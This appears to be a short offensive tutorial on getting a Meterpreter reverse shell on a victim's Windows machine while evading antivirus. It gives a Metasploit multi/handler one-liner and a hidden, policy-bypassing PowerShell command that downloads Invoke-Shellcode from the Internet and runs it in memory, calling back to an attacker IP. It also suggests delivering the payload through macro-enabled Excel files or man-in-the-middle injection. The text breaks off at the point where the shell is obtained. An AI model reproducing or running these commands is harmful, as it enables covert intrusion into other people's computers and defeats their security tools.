The below steps can help us evade antivirus software on the victim’s Windows box as we setup a meterpreter shell back to our server across the Internet. This technique works extremely well because nothing is downloaded to the victim’s computer and uses only Powershell on the victim’s machine.
The most difficult part is executing the Powershell code (seen below) on the victim’s computer but a good tactic to consider would be to embed the code into a macro enabled Excel document (if you don’t have internal access) or injecting a malicious executable into the victim’s packet stream after a MitM type attack on the LAN (mitmproxy, back door factory, etc). Obviously, there are lots of methods for delivering the payload, which are not covered here.
On our Internet facing Ubuntu box (with Metasploit installed), we run the following command:
./msfconsole -x “use exploit/multi/handler; set payload windows/meterpreter/reverse_https; set LHOST 172.31.18.189; set PORT 8443; run”
This will one-liner will fire up Metasploit while also setting up the multi handler we need to catch the meterpreter payload coming from the victim. We also need to make sure we have port 8443 (in this example) forwarded to our box.
The code to run on the victim’s PC is below. In this example, I’ve opened a command prompt window and pasted in the necessary code:
powershell -nop -windowstyle hidden -NonInteractive -exec bypass -c IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellEmpire/Empire/master/data/module_source/code_execution/Invoke-Shellcode.ps1 ‘);invoke-shellcode -Payload windows/meterpreter/reverse_https -Lhost 52.37.4X.XXX -Lport 8443″
The below Powershell command will use Powershell to download and execute Invoke-Shellcode all within memory with no files being written to disk. This is how we are able to evade most antivirus software.
We see on our Metasploit box that we now have an incoming connection and that we’re easily able to obtain our shell: